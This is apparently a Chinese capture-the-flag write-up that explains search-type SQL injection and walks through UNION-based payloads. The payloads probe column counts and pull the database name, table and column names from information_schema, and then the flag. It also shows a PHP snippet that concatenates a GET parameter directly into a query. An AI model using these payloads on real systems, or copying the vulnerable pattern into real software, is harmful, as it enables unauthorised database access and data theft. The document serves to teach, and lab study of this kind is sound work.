预备知识:
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。
常见的SQL注入漏洞关键代码如下:
$sql = "SELECT * FROM news WHERE id="; $sql . = $_GET['id']; $result = mysql_query($sql);
首页
搜索结果
加单引号报500错误
可以看到报了sql语句错误
看到了 % ,搜索型注入?
还可以看到用的是mysql数据库,下面好说了直接爆?
1、order by语句测试表中有几列
搜索%' order by 1 #
显示正常
order by 2的时候报错,
所以表中只有一列
2、union select 测试显示位
搜%' union select 1 #
正常回显
3、union联合查询爆数据库名
搜索%' union select database() #
4、爆表名
搜索%' union select group_concat(table_name) from information_schema.tables where table_schema='attackdb' #
5、爆db_news表的列名
0%' union select group_concat(column_name) from information_schema.columns where table_name='db_news' and table_schema='attackdb' #
看到了flag。。
6、爆flag
0%' union select flag from attackdb.db_news #